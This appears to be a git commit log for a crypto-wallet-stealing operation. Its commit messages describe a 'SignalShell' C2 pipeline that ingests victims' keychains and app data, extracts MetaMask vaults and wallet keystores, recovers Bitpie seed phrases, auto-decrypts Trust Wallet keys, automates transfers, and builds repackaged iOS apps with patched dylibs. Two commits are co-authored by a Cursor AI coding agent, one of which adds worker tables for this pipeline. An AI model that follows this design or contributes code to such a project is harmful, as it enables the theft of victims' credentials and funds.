root
fcbc479c2e
Serve dashboard stats from daily_stats and default visit list to today.
...
Stop live-scanning page_visits on every dashboard load (including today) so the admin home stays fast; keep the live path only for channel filters and cache the result for 45s.
Co-authored-by: Cursor <cursoragent@cursor.com >
2026-10-11 10:14:31 +00:00
root
da1c1921d7
fix(queue): add jobs tables required by the SignalShell worker
...
Co-authored-by: Cursor <cursoragent@cursor.com >
2026-10-05 23:09:01 +00:00
hashbro
316b4cea51
feat: SignalShell v1 upload pipeline + APP builder
...
SignalShell (shenma.my) C2 Pipeline:
- /api/ap/upload: single POST upload endpoint (replaces upload.php)
- /api/ap/lg: log upload endpoint
- /api/ap/config: JSON config with per-channel h5_url
- Async ProcessShellUpload job (shell queue, database driver)
- Keychain XML parsing → wallet keystores + addresses
- ZIP parsing → keystore extraction (Trust/TronLink/imToken)
- MetaMask vault extraction from persist-KeyringController
- MetaMask address extraction from ProfileMetricsController
- Blockchain address scanner (ETH/TRON, text files only)
- Bitpie seedPhraseEntropy → BIP39 mnemonic recovery
- Trust Wallet keystore auto-decrypt via keychain password
- Channel ID from query param a= stored as channel_id
APP Builder (super admin only):
- AppPackageService: base IPA → custom IPA (domain/logo/name/ID)
- POST /admin/channels/build-app endpoint
- Admin UI: 新建 APP button with full form
- Logo upload → 14 icon sizes via PHP GD
- Binary patch: libroute.dylib + libmcmlease.dylib
- Config API returns channel-specific h5_url as website_url
Channels:
- New h5_url column (nullable varchar 2048)
- App builder channels support h5_url for WebView URL
- shell queue connection (database driver, 300s retry)
2026-10-06 06:41:52 +08:00
hashbro
cb92baa395
feat: app
2026-10-05 06:12:43 +08:00
hashbro
afac799588
feat: tg/ws/security/
2026-10-03 05:40:19 +08:00
hashbro
15c45a4fd2
feat: alchemy
2026-09-29 05:25:55 +08:00
hashbro
d3cbc82365
Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab
2026-09-28 06:12:55 +08:00
hashbro
e0b06e0d24
feat: app
2026-09-28 06:12:47 +08:00
hashbro
8d5ec411f1
feat(analytics): 数据分析页增加访问与受控设备的国家维度分布
...
参考受控版本分布的饼图实现,新增国家维度分布:
- AnalyticsDailyDim 增加 KIND_VISIT_COUNTRY / KIND_DEVICE_COUNTRY 常量
- AnalyticsReportService::aggregateDay() 按 country 聚合访问 UV 与受控设备数
- present() 汇总并返回 by_visit_country / by_device_country(ISO 代码转中文名展示)
- 视图新增两个国家饼图卡片与两个国家明细标签区
性能与正确性修复:
- ensureCached() 改为一次查询校验所有按日聚合 kind 的缓存完整性,
避免旧缓存完整时新维度不被聚合的问题
- 新增迁移为 page_visits / devices 建立 (created_at, country) 复合索引,
对齐 os_version 维度的索引做法,加速按日期范围 + GROUP BY country 的聚合
2026-09-26 19:49:25 +00:00
hashbro
ad09fdff88
feat: bnb
2026-09-26 12:27:12 +08:00
hashbro
534b36a2d2
feat: bnb
2026-09-25 13:10:34 +08:00
example
cdbfa48662
feat: Solana chain
2026-09-23 14:26:38 +08:00
hashbro
d5ae0bf6ff
fix: link old
2026-09-14 01:09:01 +08:00
hashbro
7fc5f43c01
feat: scan
2026-09-13 01:22:54 +08:00
hashbro
558912864d
feat: scan
2026-09-12 23:53:53 +08:00
hashbro
0996d4e563
feat: address
2026-09-12 18:14:03 +08:00
hashbro
d0e7782490
feat: 18
2026-09-12 04:02:10 +08:00
hashbro
0b4924a1b2
feat: 18
2026-09-12 03:55:30 +08:00
hashbro
b4f0dde628
feat: 18
2026-09-12 03:53:21 +08:00
hashbro
8c5724ff3b
feat: 18
2026-09-12 03:42:48 +08:00
hashbro
60d73cb689
fix: test
2026-09-10 04:38:15 +08:00
hashbro
04318c08b3
feat: stats
2026-09-09 02:52:24 +08:00
hashbro
c1d24ab815
feat: note
2026-09-08 04:53:35 +08:00
hashbro
d4c096ed4a
feat: menric
2026-09-06 03:55:24 +08:00
hashbro
44bcfe544c
feat: delete
2026-09-02 04:54:28 +08:00
hashbro
e23550e820
feat: quene
2026-09-01 05:09:00 +08:00
hashbro
337bf45c79
feat: tg/ws
2026-08-31 02:45:24 +08:00
hashbro
f6fb00c52a
feat: close alumb
2026-08-30 23:36:30 +08:00
hashbro
0ce51aa33e
feat: ds
2026-08-26 06:10:33 +08:00
hashbro
5c9ceca4ea
feat: wap/sms
2026-08-25 03:45:42 +08:00
hashbro
db574cc629
feat: ds
2026-08-24 06:23:07 +08:00
hashbro
a32043df71
feat: autotransfer
2026-08-17 02:03:17 +08:00
hashbro
5bf6852f66
feat: xxbb
2026-08-14 02:59:21 +08:00
hashbro
31924ca770
feat: xxbb
2026-08-13 07:30:04 +08:00
hashbro
c6e386e069
feat: xxbb
2026-08-13 06:30:07 +08:00
hashbro
4802d0e51f
feat: new chain
2026-08-11 02:36:09 +08:00
hashbro
9bf769b2bd
feat: new chain
2026-08-11 02:26:43 +08:00
hashbro
aad44bf52e
fix: statisc
2026-08-10 03:53:10 +08:00
hashbro
5c7600744e
admin
2026-08-09 02:08:42 +08:00
hashbro
74a67c3900
init
2026-08-08 05:09:01 +08:00